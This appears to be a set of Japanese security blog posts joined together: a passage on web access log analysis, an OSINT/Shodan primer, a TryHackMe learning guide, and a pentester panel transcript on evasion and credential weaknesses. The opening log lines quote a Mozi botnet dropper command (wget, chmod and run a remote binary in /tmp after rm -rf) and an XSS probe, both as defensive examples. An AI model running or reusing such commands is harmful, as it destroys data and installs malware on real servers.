/shell?cd+/tmp;rm+-rf+*;wget+http//192.168.X.X:8080/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 301 918 "-" "Hello,+world" 123.45.67.89 - - [01/Aug/2022:19:11:00 +0900] "GET /?\"><script>alert('XSS')</script> HTTP/1.1" 400 226 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)" ここで紹介したログや攻撃手法は一例ですが、上記に記載したように、攻撃に使われる手段とログに含まれる文字列などから、どのような攻撃があるかを調査していきます。 また、ログ分析を行う中で攻撃が確認できた場合には、その攻撃が成功しているかどうかを確かめていきます。 攻撃時のアクセスでHTTPステータスコードが200を返している場合は攻撃が成功している可能性が高いため、まずはログでステータスコードを確認します。200ステータスを返していた場合は、さらに、「攻撃時のログのレスポンスbyte」と「サイトに通常通りアクセスした際のbyte」のサイズを比較して、通常と異なるページが表示されていそうかを確認したり、アクセスの内容によっては実際に同じURLにアクセスを行ってみて問題がないかを確認したりします。 200以外のステータスでも、普段と異なるログが確認できた場合は、攻撃成功やWebサイトに脆弱性が存在する可能性もあるので、確認することを推奨します。 脅威の検知 また、SQLインジェクションのような攻撃以外にも、サイトの脆弱性を取得するためのアクセスなどもあります。 以下のログはPHPのイースターエッグと呼ばれるものへのアクセスで、特定のURLでアクセスすると、PHPのロゴ画像や作成者情報などを見ることができます。 123.45.67.89 - - [01/Aug/2022:16:00:37 +0900] "GET /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 HTTP/1.1" 301 264 "-" "curl/X.XX.0" 123.45.67.89 - - [01/Aug/2022:16:00:38 +0900] "GET /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 HTTP/1.1" 301 264 "-" "curl/X.XX.0" 画像が表示されるというと問題はなさそうな気がしますが、これを表示させる設定になっていると、HTTPレスポンスヘッダにPHPのバージョンが表示されてしまったり、表示される画像から使用しているバージョンを推測できてしまったりすることもあります。 もし使用しているバージョンに脆弱性が存在していた場合、その脆弱性を利用した攻撃につながってしまう可能性もありますので、バージョン情報を表示させたくない場合はPHPの設定を変更するなどの対策が必要となります。 おわりに 今回はログ分析での調査について、Webサーバーへの攻撃を例として紹介させていただきました。 Webアクセスログの分析を行うことで、サイトに対する外部からの攻撃を検知したり、攻撃の兆候を見つけたりすることができます。セキュリティの脅威にいち早く対応するためにも、定期的にログ分析を実施することが重要です。

こんにちは！GMOインターネットの濱本です。今回はセキュリティで必要な「OSINT」について紹介させていただきます。 1.OSINTとは まずは初めに「OSINT」についてご説明させていただきます。「OSINT」とは「Open Source Intelligence（オープンソースインテリジェンス）」の略なのですが、一般的に公開されている資料や情報源からデータを収集、分析などをする諜報活動の一種です。 サイバーセキュリティの分野において、なぜこの「OSINT」が重要なのかを説明するためには、「サイバーキルチェーンモデル」についても認識しておく必要があるためご説明させていただきます。 2.サイバーキルチェーンモデルについて 「サイバーキルチェーンモデル」とは、攻撃者の行動を以下7つのステップに分解したものとなります。 No攻撃の段階概要1偵察インターネットなどから組織や人物の調査し、対象組織に 関する情報を取得する2武器化偵察の結果を元に、エクスプロイトやマルウエアを作成する3デリバリなりすましメールやマルウエアを添付したメールを送付し感染させるこで、対象組織の内部に侵入や通信の確立などを実施する4エクスプロイト対象者にマルウエア添付ファイルを実行させたり、マルウエア設置サイトに誘導させるなどしてエクスプロイトコードを実行させる5インストールエクスプロイトの成功により、標的（PC）がマルウエアに感染する6C&CマルウエアによりC&Cサーバと通信させ、感染PC を遠隔操作し、追加のマルウエアやツールなどをダウンロードさせることで、感染を拡大する、あるいは内部情報を探索する7目的の実行探し出した内部情報を、加工（圧縮や暗号化等）した後、情報を持ち出し、証拠を隠滅します 攻撃者は上記7つのステップで情報の搾取などを実施するとされており、7つのステップの最初にあたる「偵察」の段階で使用される手法の一つが「OSINT」となります。攻撃者は「OSINT」などで得た情報から攻撃先の特定や必要なマルウェアの作成など次のステップである「武器化」へと繋がっていき、実際に攻撃を行ってきます。 攻撃者がどういった手法や情報を元に攻撃を仕掛けて来るのか、ということを攻撃者よりも先に知っておくことで事前に対処や対策を行うことでサイバー攻撃を防止することが出来るため、今回は「OSINT」の中でも比較的簡単なものをご紹介します。 3.SHODAN（CENSYS）について 実際にサイバーセキュリティにおける「OSINT」がどういったものか、今回はSHODANというサイトを元に説明をさせていただきます。 【URL】https://www.shodan.io/ 上記URLにアクセスいただくと、下記のような画面が表示されるかと思います。 上記画面が表示されましたら、画面上部の「Search」と記載されいる箇所にサーバーIPなどを入力しましょう。SHODANにて収集済みのデータや情報がある場合には、以下のようなに表示されます。 この時点で、該当のIP（サーバ）に関しては22番ポートや123番ポートが開いていることが確認できます。 また、該当の環境に脆弱性などがあった場合には以下のような形で画面左下に「Vulnerabilitie」として考えられる脆弱性などが表示される場合があります。 攻撃者はこういった情報を「偵察」の段階で収集し、攻撃を仕掛けてくるのです。では今度は、実際に攻撃が行われている実例などをお見せしたいと思います。 なお、SHODANと同様のサイトの一つとして「CENSYS」という別のサイトもあります。 【URL】https://censys.io/ SHODAN側で検出されない場合であっても、上記CENSYSなど別サイトで検出される場合もありますので、ご注意下さい。 4.攻撃を受けた例 さきほど、SHODANにて22番ポートが空いているサーバがあることをお見せしましたが、実際のサーバ側のログを見てみると以下のような攻撃と思われる接続を確認することが出来ました。 上記は22番ポートを使用して動いているSSHの接続ログなのですが、明らかに自分ではない接続元のIPアドレスからアクセスが行われていることが確認できたため、接続元を確認してみたところ、下記海外からのアクセスであることが分かりました。 IPアドレス国192.226.244.9カナダ186.109.86.184アルゼンチン212.192.24.36チェキア（チェコ） 22番ポートが空いている、という情報だけでも不信なIPアドレスから攻撃などが来ることが分かります。先ほどお見せした脆弱性のある別環境の場合には、より確実に内部に侵入するため該当の脆弱性を突く攻撃を実施してくると考えられます。攻撃者はそういった情報を「OSINT」として情報収集したのち、「武器化」しながら攻撃を仕掛けてくるのです。 5.まとめ いかがだったでしょうか。 今回は「サイバーキルチェーン」という攻撃者側の視点も交えつつ、「SHODAN」というサイトを使用した「OSINT」という手法を説明させていただきました。 「SHODAN」などのサイトで公開されている情報に関しては、攻撃者側にとっても有益ではありますが、私たち「守る側」としても非常に有益です。それは、外部から自分たちの管理している環境が「どう見えているのか」ということを常に確認、把握しておくことで脆弱性への対策や攻撃を検知し、攻撃者のゴールである「目的の実行」を防ぐことに繋げていくことが出来るからです。 本説明が少しでもみなさんのセキュリティ改善に貢献できれば幸いです。

こんにちは。GMOインターネット セキュリティエンジニアの羽田です。セキュリティに興味はあるけど、 -具体的にどのような学習を行えば良いかわからない -環境の準備が大変と感じる方は少なくないのではないでしょうか。この記事では、TryHackMeという学習コンテンツを紹介し、誰でも簡単にセキュリティを学習する方法をご紹介します。読んでいただくことで、セキュリティを学習するうえで必要な「基礎知識とそれらを用いた実用の反復方法」がわかります。TryHackMeを用いることでセキュリティを楽しみながら学習することができるようになりますよ。 1.セキュリティとは何か 定義 まずこの記事での”セキュリティ”の定義はサイバーセキュリティとします。セキュリティと一言で言っても様々なとらえ方がありますが、下記のように定義します。 セキュリティ　サイバーセキュリティ：データなどの電子資産を保護することに焦点を当てた考え方・手段　情報セキュリティ：電子資産だけではなく紙やハードウェアのような物理的な資産も対象にそれら資産の保護することに焦点を当てた考え方・手段 分解してみる サイバーセキュリティの内訳は下記の通りです。内訳とは言ったものの、理解するうえで必要な要素を並べたものになります。 -ネットワーク -プログラミング(アプリケーション) -各種OS -暗号や認証 -データベース これらの要素をそれぞれ理解することがまずは大事になってきます。なぜならセキュリティに関して起きる問題や課題というのはこれらが組み合わさったものであることがほとんどだからです。 上に挙げた各要素についての理解ができたら、それに関する何かしらの実例にあたることでより理解を深めることができます。最初はそれぞれ程度の低いものからはじめて、各要素の理解と事例を反復することで段々と難易度の高いことも理解・解決できる力がついてきます。 2.TryHackMeの紹介 「1. セキュリティとは何か」を踏まえ、セキュリティの各要素の理解と事例の反復方法ができる方法を1つご紹介します。 TryHackMeとは何か TryHackMeというセキュリティ学習コンテンツがあります。公式サイトにも書かれていますが、初心者から熟練者まで利用できるほどコンテンツが充実していることがわかります。 TryHackMe is an online platform that teaches cyber security through short, gamified real-world labs. We have content for both complete beginners and seasoned hackers, incorporation guides and challenges to cater for different learning styles.（TryHackMeは、ゲーム化された短い実世界のラボを通じてセキュリティを教えるオンラインプラットフォームです。完全な初心者と熟練したハッカーの両方のためのコンテンツ、組み込みガイド、さまざまな学習スタイルに対応するための課題があります。） 引用元：https://tryhackme.com/about 環境準備 最低限必要になるものを挙げます。 ブラウザOpenVPN（こちらに公式の案内があります。） 必須ではありませんが、KaliLinuxを用意できる方はそちらもあると楽です。 room TryHackMeの各ラボはroomと呼ばれる部屋に用意されています。それぞれ基本的なものからツールを扱った部屋まで様々なものがあります。 また学習の目的に合わせていくつかのroomを段階的に組み合わたものを提示もしてくれます。 1つのroomは次の図のようになっています。 Taskとよばれる問題が出題されており、1つずつ回答していきます。このroomが段階を踏んでいて、そのroomにおける必要な前提知識などを抑える内容のTaskから用意されています。そのため基本的には楽しく進められて、気が付けば基本が理解できているといった具合になります。 またラボと呼ばれる作業場所となる環境がTryHackMe側で用意されており、ブラウザ内で起動・操作することができます。画像の右側に見えるのが遠隔で起動したLinux環境です。 実際にやってみる 試しにこの部屋（Linux Fundamentals Part 3）を解いてみましょう。最初はこのroomの問題を解くにあたって必要な知識のレクチャーとなっていますね。 問題を進めていくと、Task8でこれまでと違い、知識を使って解く問題がでてきました。 （途中の内容省略） Look for the apache2 logs on the deployable Linux machine 最初の設問は問題という問題では無いようですが、Linuxマシーンのapache2のログを確認するよう指示されていますので移動してみます。 どうやらアクセスログとエラーログがありますね。 What is the IP address of the user who visited the site?What file did they access? 続いてはIPアドレスの確認とアクセス先のページを尋ねられています。そのためアクセスログを確認。 それぞれ確認できたので、回答欄に入力してSubmitボタンを押します。 確認した内容で正解だったようですね。 また次のLog4jのような話題になった脆弱性についても用意されていて、基本的なことから実際のツールや脆弱性に関して扱ったroomまでカバーされています。 3.おわりに 今回は、セキュリティの学習方法とその具体的な手段としてTryHackMeについて紹介してきました。TryHackMeについては軽い紹介程度にとどまりましたが、執筆時点でroomの総数は500以上あるので、皆さんも興味があるroomを見つけたらぜひ試し見てください。

4/21（木）にGMO Developers Night#34 「ペンテスターから見た最近のセキュリティ状況」をオンラインにて開催しました！今回は、GMOインターネットグループにジョインした「GMOサイバーセキュリティ byイエラエ株式会社（旧称：イエラエセキュリティ）」のホワイトハッカーたちが、幅広いトピックを対談式でディープに語りあかしました。イベント告知：https://developers.gmo.jp/15344/本記事はこちらのイベントの書き起こしとなりますので、ぜひご覧ください。 登壇者（敬称略） GMOサイバーセキュリティbyイエラエ株式会社代表取締役CEO　牧田 誠オフェンシブセキュリティ部部長　ルスラン・サイフィエフ株式会社川口設計代表取締役　川口 洋 会社説明 牧田当社のミッションは、「日本のセキュリティを守る」ということです。誰もが犠牲にならない、安全なインターネット社会を創っていきたいと思っております。逆に言うと、現在はあまりセキュアではないということになるんです。我々、ペンテスター、ホワイトハッカーから見ている世界、日本の最近のセキュリティの状況と、一般の方々が見ている世界では、少し違いがあると感じています。我々はあまりセキュアではない世界を見ているんですけど、恐らく今日参加されている500名の皆様も、そこに気付いているからこそ参加されているのではと考えています。今までの侵入テストの案件をすべて集計して統計をとったところ、90％以上の案件で侵入に成功しているという結果が出ました。我々ペンテスターは、90％以上の会社やシステムに対して侵入できる、脆弱であるという景色を見ていて、この景色を、このあとの対談の中で少しでも参加者の皆様と共有できたらと思っています。そして、GMOインターネットグループに4月にジョインし、新しい社名で活動していますが、その理由は、我々が掲げている「日本のセキュリティを守る」というミッションを最短で実現できるからです。イエラエのホワイトハッカーが持つノウハウをプロダクトに落とし込んで、プロダクトをGMOインターネットグループのお客様、ドメインでいうと日本の90％、レンタルサーバーだと日本の60％のシェアを持っているわけですけど、我々のサービスでそれらのお客様を守るというのが、グループジョインの理由です。 対談 テーマ：ペンテスターから見た最近のセキュリティ問題 川口最近のセキュリティ状況をペンテストで見てきて、話題はありますか。 最近のテーマは「監視」です。ルスラン 川口ペンテストで、お客様のシステムの監視はどのようにできているのでしょうか？監視をくぐり抜けてゴールを達成しているケースが多いように思いますが。 監視に検知されずにゴールを達成することもあるし、あとはゼロトラスト環境で端末が監視されていても不足していることが多い。基本的に多くのお客様はセキュリティ製品を導入、運用している。しかし、そのような製品は今まで出ている攻撃やばらまき攻撃に対してはすごく有効だけど、そうでない攻撃を使えば、技術のある攻撃者なら監視をすり抜けることは可能です。ルスラン 川口依頼されるお客さんは、それなりにやってるからペンテストやろうといるのに、セキュリティの監視をやっているにも関わらずここは監視されてるだろうからこうやって抜ければいいよねとルスランさんはかいくぐってやっているということ？ それもあるし、案件やお客様の要望に応じることもあります。例えば、お客様の中で我々のセキュリティ製品が本当に稼働しているか確認するために、Emotetのような攻撃を実行してみましょう、ということでテストして評価という感じですかね。ゼロトラスト環境を作ったので評価してあげるという感じですね。例えばAzureのグローバル管理者を奪取することが最終ゴールの案件であればそこまでたどり着いたけど、監視チームに検知されなかったというのはあり得る話ですね。ルスラン 川口Azureグローバル管理者を取られたたら、為す術がない、アドミンとしては聞きたくない報告だ。「ゼロトラスト」というキーワードは、マーケティングや営業のキーワードとしてよく使われていて、うちもそろそろゼロトラストを考えなければ、と導入する動きがここ2～3年進んできているけど、広くゼロトラストだと言っている環境においても、ペンテストで抜けていって、権限が取れたというケースがあるんですね。 あります。ゼロトラスト自体の考え方はモデルとしてはいいんですけど、実現しているベンダーさんや、導入している会社での実装状況によって変わっていったりします。最近ですと、ゼロトラストといいつつVPNの代わりにVPNっぽいものを入れた製品もある。あとは、SaaS化されたとか、SSOが実装されたとか、IdP（Identify Provider）としてはAzureやOktaを使っているという例も多い。一つの例で言うと、セキュリティ製品がいろいろ導入されている端末、仮にEDRとかアンチウイルスとか全部あるという端末に感染ができた場合、外部遠隔操作ができた場合、かつEDRとかも検知されていない場合、通信も判別されていないという状態であれば、攻撃者としては全部SaaSなので、オンプレミス環境がない環境を考えてみると、すべてクラウドになると、すべての業務がクラウドになります、一番守りたい資産、社員の守りたい資産といえばブラウザになるんですね。ブラウザの中のCookie、多要素認証がいろいろ付けてあっても、人は対象のサイトに認証してあるんだったら、多要素認証を通しての形で、そのセッションを我々が取得できたら、外部からもどこからでもアクセスできる。EDRは、そこの端末にあるからこそ動作するが、我々がVPNのセッションを修復できるのであれば我々の端末から内部に入れるとか、モニターできるツールをすり抜けるいうことも実現します。ゼロトラストは端末がすべてだから、端末から来るものを全部監視するけど、通信がどう監視されるかは基本的に会社によるというということになります。ルスラン 牧田今の話はエッセンスが2つあると思います。最初の「監視が大事」ということ、これはペンテスターの視点。我々のような一般の人は、防御の方へ行きたいじゃないですか、ファイアウォール、ゼロトラストやEDRといった防御の方に行きたい。監視が大事って話は、EDRやファイアウォールはバイパスできる前提で考えないといけないよ、というペンテスターの目線なんです。2つ目は、ゼロトラストで全部クラウドになって、セッション1つでシングルサインオンで全部いける点、みんなにとっては便利だけど、攻撃者、ペンテスターにとっても便利であること。オンプレミス環境だと、セッションが分かれていて、全部セッションをとらないといけなかったけど、シングルサインオンで、マルウェアに感染して、ブラウザのセッションをダンプすれば、そのあとは全部のセッションに行けてしまう。ゼロトラストは、ペンテスターにとっても便利だし、完全にセキュアではないという点。 川口Cookieをとるとか、聞きたくない話ですね。攻撃者に入られて、Cookieを持っていかれましたとなると、そりゃそうだよね…となるけど、運用や設定でなんとかなるものなんですか？Cookieを取られないようになんとかしようなのか、それともCookieを取られてもいい策をとるのか、どっちがよいでしょうか。 対策といえば、セキュリティ製品にすべて頼るというのは、現時点では見たことないです。多少カスタムなものを作って、仮にChromeを使っている場合はChrome以外から使うことがないので、Cookieに触れた瞬間に監視してアラートを出すといったものを作るとか、現時点では有効な感じ。そのあとの話となると、不審アクセスのような感じでCookieが取られて、攻撃者であればあちこちにアクセスするとか、例えばAzureEDのようなIdPに外部からアクセスしてしまったとか、感染した端末を踏み台にすればIPアドレスも変わらないけど、外部からいきなりアクセスした場合はIPアドレスが変わる、といったような、細かいログを解析して不審だなといったのを見ていくしかないと思う。こうなってくると、SaaS側ですべてのログを収集しながらやるという必要があるし、boxなどのクラウドストレージの場合は、いきなりいろんなファイルにアクセスしてダウンロードし始めたということならある程度見られるぐらい。ルスラン 川口守りにくいと思いますがどうですか？ 牧田そうです。開発者は守りたいじゃないですか。Cookieを取られないための対策もしますし、万が一取られても大丈夫なように、暗号化したり、端末のホスト名やユーザー名、macアドレスなど全部マッチしない限りセッションを有効にしないように工夫する。でもペンテスターの目線だと、ならばそこを解析すればいい、と考えるんですね。この暗号化方式で鍵はこれね、じゃあ復号して、macアドレス変えて、再暗号化すればいいよね、と。 対策が大変なのは、SSOみたいな感じで各サイトに認証するじゃないですか、SSO自体の対策としては、例えば各サイトにアクセスするにはまたIdPとか多要素認証、一番よければYubiKeyみたいなFIDOがあってさらに認証しなければいけないという導入ができるのであればよいが、ただし認証済みのセッションが取れるということは、基本的には、各サイトのCookieの有効期間がサービスによって異なるので、例えばAzureのSSOのCookieの有効期間を1時間とすればそれは1時間で切れるが、BOXやDropboxなどのほかのサービスでは1か月とか無限とか異なるので、そのあたりのコントロールは、ユーザー側、システム管理者側にはないので、そこがちょっと大変。ルスラン テーマ：開発者が使っているサービスで気になるもの 川口開発者が使っているサービス、代表的にはGitHub回りだけど、ここになんか情報が入っているとなると、そこのアカウント権限が取れちゃうというところからスタートするというのがあって、日常のオペレーションでGitやGitHubを使わざるを得ないところにペンテスターが差し込んでくると、ここも攻略の糸口になっているケースが多いと思いますが。 我々のゴールはいろいろあるけど、やり方もいろいろあって、例えば感染済みの端末からスタートするとか、外部公開されている情報を探してそこからエントリーポイントを探しに行きます。両方とも外部の情報を集めるので、Gitから始めることはあります。会社名を入れるとかいろいろ検索して、何も見つからない案件はほぼなく、そもそも企業の中に開発者がいない案件ぐらいかもしれないですね。あっちこっちに認証情報がどこでもあるというわけではありませんが、情報収集という意味ではかなり役に立つものがあります。昔の事例でいうと、Gitってなにが悪いかというと、何か間違えてアップロードした後に消しても、コミットが消されていない状態であれば、誰でも履歴から過去のコミットを見て情報が得られるので、ある案件では、鍵が取れて、鍵から外部のサービスにAPIキーで入れて、そこから内部情報が取れたというケースがあります。ルスラン 川口ついうっかりコミットしたという例があると思う。認証情報とかをignoreに入れずについ入れてしまって、消したからいいだろうと思ったらコミットの方にあるみたいな。見えるよね、探れるよね、というところから、あとになって悲鳴が聞こえるパターンですよね。 牧田一番びっくりしたのは、あるセキュリティ製品で、ソースコードが公開されたというもの。 あれは、開発者というよりは開発者のインターンが会社に入ってDropboxのリンクをメモの中に入れていて、Dropboxのリンクに入ると、機密情報が誰でもダウンロードできる状態だったのでかなり大変でしたね。ルスラン 川口Dropboxのリンクとか1回リンク作ってしまって期限なしになるから、それがどこかで漏れると、フォルダ以下だったらざくざく見れてしまいますね。 そうですね。プレミアムサービスに加入しなければ、基本的にアクセス経歴とかも取れない。ルスラン 牧田無料版で使っている場合は確かに。会社アカウントだけじゃなくて、個人のプライベートのアカウントで会社の情報まで間違ってコミットしちゃったというのがあって、ペンテスターってすごいですよね、すぐに人を特定して、この人がこのTwitterアカウントを持っていて、と紐付けて、そこで鍵が取れてしまって、とかいうのがあったりするので、プライベートで使う時は気を付けないといけないですよね。 川口会社が創業期だったりすると、そのあたりが割と緩く管理されたりするじゃないですか、個人の能力に依存してシステムが開発されてたりしてとか、もしくは中途で結構できるエンジニアが入ってきたりすると、ちょっと境界線が甘い時期があって、そういうところが突かれると厄介。会社が大きくなると結構きっちり分けて管理するようになると思うけど、会社のステージによっては割とケアされてなくて、ペンテスト受けてみて気付くパターン。 牧田僕が面白いと思ったのは、自分たちの会社で使うソースコードの中で、固有の言葉を入れて、それをクローリングしておくということ。誰かが間違ってパブリックにした時に、固有値を検索して引っかかるのですぐ止められるというのは、賢い対策。みんな気を付けて二重チェックとか三重チェックするといっても、注意力に頼る部分って限界があるので。 テーマ：運用管理体制のチェックが必要だと思ったこと 川口今度は運用回りで、このあたりはもう少し気にした方が安全なのでは？という事例を聞きたいと思う。開発できちんと作っていても、運用が一番ベタだけどシステムのパスワードを書いたExcelファイルがあって、パスワード管理台帳を取り出せるという例が結構あったりする。わたしもいろいろ相談を受ける中で、パスワード管理台帳を持って行かれて、さんざんシステムをペンテスターにやられましたという相談を受けることがあります。 結構あります。特にオンプレミスのドメインがあるとファイルサーバーもあるので、「平文パスワードの管理」「共通パスワードの管理」「脆弱なパスワード」が報告書の中のTOP3。たぶん最近はクラウドのみの環境になってきて、みなさんがパスワードマネージャーをきちんと使うようになってきて、少なくはなってきた。でも、やっぱり大企業やオンプレがある環境とかだと整理が大変だし、昔ながらのやり方で残していることが多いです。ルスラン 川口ここまで頑張ってやってるのに、なぜパスワードリストやパスワードを書いた手順書がさらりと置いてあるんだという感じの相談を受けると、ここがなんとかなればもうちょっと安全なのにと、見つけたのがセキュリティベンダーの方でよかったなあと。 そうですね。平文パスワードはないにしても、基本的に我々がゴールとするシステムが、仮になにかしら特殊に作られたシステムにしましょう、そのシステムのパスワードが毎日変わるわけでもないし、たぶんいつか作られてずっと運用されている形になるので、どの会社でも「納品物」みたいな感じのフォルダがあるんですね、そこに仕様書があって、その仕様書の中にパスワードが書いてあるとか、それで半分以上のパスワードが取れるという感じ。ルスラン 川口納品物フォルダはゾッとしますね。あるあるですけど。 納品されてからパスワードを変えていればいいけど、そのままなので…。隣りに変えてはだめと書いてあるので。ルスラン 川口パスワードは想像できるが、APIの鍵のような鍵管理をどう安全に運用していくかというのは、鍵を使わないケースというのはせいぜいSSHの公開鍵ぐらいという組織もあれば、APIの鍵をバンバン使いこなす企業もあるけど、鍵管理はどうですか？ SSHに関していうと、そもそもSSHで鍵を使って認証しているのであれば、かなりいい方という感じ。それにYubiKeyで二段階認証があれば、おお、すごいという。となると、基本的にそのサーバーは対象にしない。ゴールを達成するためには絶対にその経路を通るということは必要ないので、ほかを探すことに決めます。パスワードが分かっているSSHの証明書だったら、それはちょっと解析してみてみるとか、あとは社員個人のアカウントだったらそれで入ってみるとか、牧田さんと一緒にやった案件では、ある鍵ですべてのサーバーに入れたというところもありました。ルスラン 牧田各企業で監視用、障害対応のものを作りがちだけど、それが仮に攻撃者に取られたりすると、悪用されてしまう。 ほかのAPI鍵とかAWS鍵になってくると、今でも外部と内部という感じがあって、例えばある会社だと内部はセキュアという考え方で、その中では内部のGitがあって、内部のGitはそもそも認証なしでエクスプローラですべてのプロジェクトが見れたりして、それが内部だから鍵がそのままハードコードされていたりするのもあります。そうなると、アクセス制限ができてない会社がかなり多い。要は、開発者であってもアクセスできる領域がどこまでかを決めなければならないはずだが、何でもかんでもできるとか、一般社員で営業なのにGitに入れてプロジェクトをクローンできるとか、認証なしでイメージをとれるとか、そこからいろいろ鍵をとって本番環境まで至ってしまうこともあります。あとは、会社によっては、物理的にセキュアエリア、セキュアルームを作っているけど、論理的にはそこのネットワークに入れてしまうとあとは信頼性の高いエリアということで二段階認証もなにもないということもあります。オンプレ環境で横展開してしまうと、監視に気付かなければずっとそこにいて何でもできるという状態になります。二段階認証を破らないと入れない環境だと、かなりできてるな、と喜ぶ。しっかりやってるなと。ルスラン 牧田せっかくセキュリティルーム、物理的に行かないとデータベースに触れないという制限を作っても、運用を考えると、障害が発生した時に自宅から緊急対応したいじゃないですか、セキュリティパッチを緊急で当てたいとか。そうした場合、物理的にセキュリティルームとかデータセンターに行くのが難しいので、皆さんどうしても遠隔でアクセスしたくなるんですよね。で、メンテナンスの手順書を作り出して、きちんと鍵もパスワードもそこに丁寧に書きがち。そうすると、せっかく物理ルームにアクセス制限してるのに、緊急メンテナンス用、障害対応用のVPNの情報が見れてしまう、アクセスできてしまう場合が多いので、そこを使って入れてしまうということがあるんですね。 結局、緊急用の手順書や鍵を置いてあるところは仮にファイルサーバーとして考えても、ファイルサーバー自体がおそらく信頼のあるユーザーしかアクセスしないと考えられているかもしれないけど、ある権限までは入れてしまう、確かに物理的に行かないとどこかに入れないけど、手元に緊急用のVPNの認証情報がなんでもあるから、それを使い回してつなげばよいというのもある。もちろん繋げる時間を決めてあるかとか、繋がった途端監視されて切断されるとか、会社によってはプロセスがあるはずだけど、一番悪いシナリオでは、何も気付かれず監視されずだったらそこにまで入って終わってしまう。ルスラン 川口そんな危ないシステムを動かすのなら、Slackに一報を飛ばして欲しいですね。本当にここが突破されたらまずいというところは、通知が飛ぶ仕組みになってないと気付きようがないですね。 通知はすごくいいと思います。特に管理者側におすすめなのは、資産管理、どこに何があるかとか、そのシステム自体にはどのように入れるかを把握しておく、彼らが自分で考えて作った経路はあると思うけど、我々も中に入って社内wikiとかを読んで、正常に入れる経路を把握する、それがイコール我々がその経路を通ると検知されてしまう、だったらそれを通ってはいけない、だから同じサーバーなり同じシステムに、ほかには入る経路は何があるかとか、管理者自体がどんなふうに入ってメンテナンスするかを考えてみて、それを利用してしまうと実はそこには検知やアラートを出す仕組みをわざわざ入れてない、あるいは忘れたということがあって、最終のところまで入れてしまうということもある。検知を回避するという意味では。ルスラン 川口ある役所で相談を受けたとき、「分かりやすいところにパスワードを置いてありますから」と言ってました。悪い人が先に使うと思うので、先に使ってもらってアラートをあげてもらいますという。このバッチファイルなんですか、と聞いたら、「それはログインしたら危険なものです」という。分かりやすく置いてあるので、使われることをむしろ期待しているという、使った人がいたら速攻取り締まりますという。 それはいいですね、ハニーポット的な。ルスラン 川口わかりやすく置いていれば使われるんだという。たぶん、ログインすると全職員にアラート飛ぶんだろうなという。それは手間が掛からなくできそうだと。 その次のステップを考えないといけなくて、どこからやられたかとか、次に何を確認すべきか、という演習。IR（Incident Response）的な。要は、端末をネットワークから取り出さないといけないけど、どのくらい時間がかかるとか、ユーザーが高権限のアカウントをハニーポットにしてある場合は、高権限のアカウントで実は横展開されてしまった可能性はなないか、どういう風に実装していたかにもよるけど。ルスラン 牧田Active Directoryの問題があるじゃないですか、あれは非常に守りにくい。たぶんルスランさんは侵入できなかったことがないと思うんですけど、以前印象に残っていたフレーズで、「Active Directoryの侵入方法は無限にあるから大丈夫だ」と。侵入できそう？大丈夫？と聞くと、「無限にあるから大丈夫」という。ならばどう守ったらいいのという。例えば「administrator」というダミーのアカウントを作って、使われたら取り締まるというアイディアはいいなと。 でも、どのアカウントでも作っていいというわけではない。ある会社で、ダミーアカウントを作りましたと、でも、どう見てもそのアカウントを使いたいという気持ちにならなかった。なぜかというと、権限も何もなにもない、ログインした経歴もない、パスワードが弱いかもしれないがそのアカウントが取れたところで何も変わらないという。確かになんとかアドミンというアカウントだったけど、どうみても権限がなさ過ぎて逆に怪しいということは侵入者からは見えるんです。生きているかのようなアカウントで、多少権限があって履歴があるようなものを作ってあげないとすり抜けてしまう。ルスラン 川口クライアント認証をやっているシステムがあると思うけど、こういう時に突破できてしまう、こういう設定さえあればよかったのに、というエピソードがあれば。 最近、かなり多いですね。クライアント証明書、ウェブアプリとか、個人的にはすごくいいと思うけど、その認証はその証明書をどんなふうに保管するかいうのが大事になってくる。WindowsのマシンであればTPMで保存している場合は基本的には現時点では安全ですね。どこかにはまだ公開されていない攻撃があるけど、少なくても今のところはTPMからの証明書の奪取ができない状況ですね。ただし、TPMじゃなくて、ファイルとして保存してあるとか、スクリプトプロバイダーとかほかの形で保存してあるとかであれば、システム権限さえとれればWindows端末から証明書の奪取ができてしまうのが現実です。Macの端末の場合は違っていて、MacはKeychainというものがあって、ユーザー側とシステム側のKeychainがあって、ユーザーのセッションに会社から遠隔操作ができる状態になっていたら、基本的にはすごく簡単にダンプしてしまうということができる。システム側のKeychainに入っている場合は、ユーザー自分自身でルート権限でGUIから取るしかないのでまだ安全。ルスラン 川口証明書をさらりと普通のフォルダに置いているケースがありそうで怖いですね。 大企業の場合はどこかに集めてそれを配布するんですけど、全部バックアップ用に証明書が置いてあるとか。ルスラン 質疑応答 質問１：あるシステムに侵入しようとして、SELinux ON の場合に侵入失敗・断念する場合はどのくらいありますか？ 我々がやってる侵入の中では、Linuxにエクスプロイトを使って侵入するというケースはかなり少ない。基本的に運用や設計の問題で何かしてしまおうということが多くて、Linuxへアクセスするなら普通にSSHで一般社員がやるような形でかつバレない形にします。外部の場合は、例えばあるサービスが脆弱でそれを利用するということはないことはないけど、かなり少ないのかなと思います。ルスラン 川口SELinux自体を使いこなすことも難しいし、製品によってはSELinux OFFで使えということも書いてあるので、ONで使っている環境が圧倒的に少ないですね。きっちりできればいいけど、それでも日常のオペレーションで開発者、運用者と同じオペレーションでこられると、SELinuxが評価されてますね。 例えばリバースシェルがとれて、そこから侵入しようとすると、SE Linuxはかなり邪魔になるけど、そもそも我々が得たいなにかしらの目的にはSE Linuxを突破する必要性はないことが多い。必要であれば頑張るしかないし、別に触らなくてもいいという時もあります。ルスラン 川口だいだい、パスワードのExcelファイルが取れてたりするとそのまま入っていくよねということになるので、SE Linux以前の問題ですね。 我々の目的が何でもかんでも侵入していくのではなく、会社の資産、クレジットカード情報、個人情報だったりソースコードだったり、これを入手するということなので、経路は何でもいいということもあるんですね。ムリにそこを通らなくてもいいと。ルスラン 質問２：「9割侵入できる」ということですが、実際にそこからデータ窃取できる割合はどの程度なのでしょうか？ 大体同じ割合です。ただ、ゴールが何になるかで変わったりする。ドメイン管理者を取ることがゴールでそこで終わるケースもあるし、守りたい資産、データへ入れるかどうかというケースもある。侵入はどちらも成功しているので確かに9割以上になるけど、データの取得まで頼まれたところで、できなかったことはほぼない、といえます。ルスラン 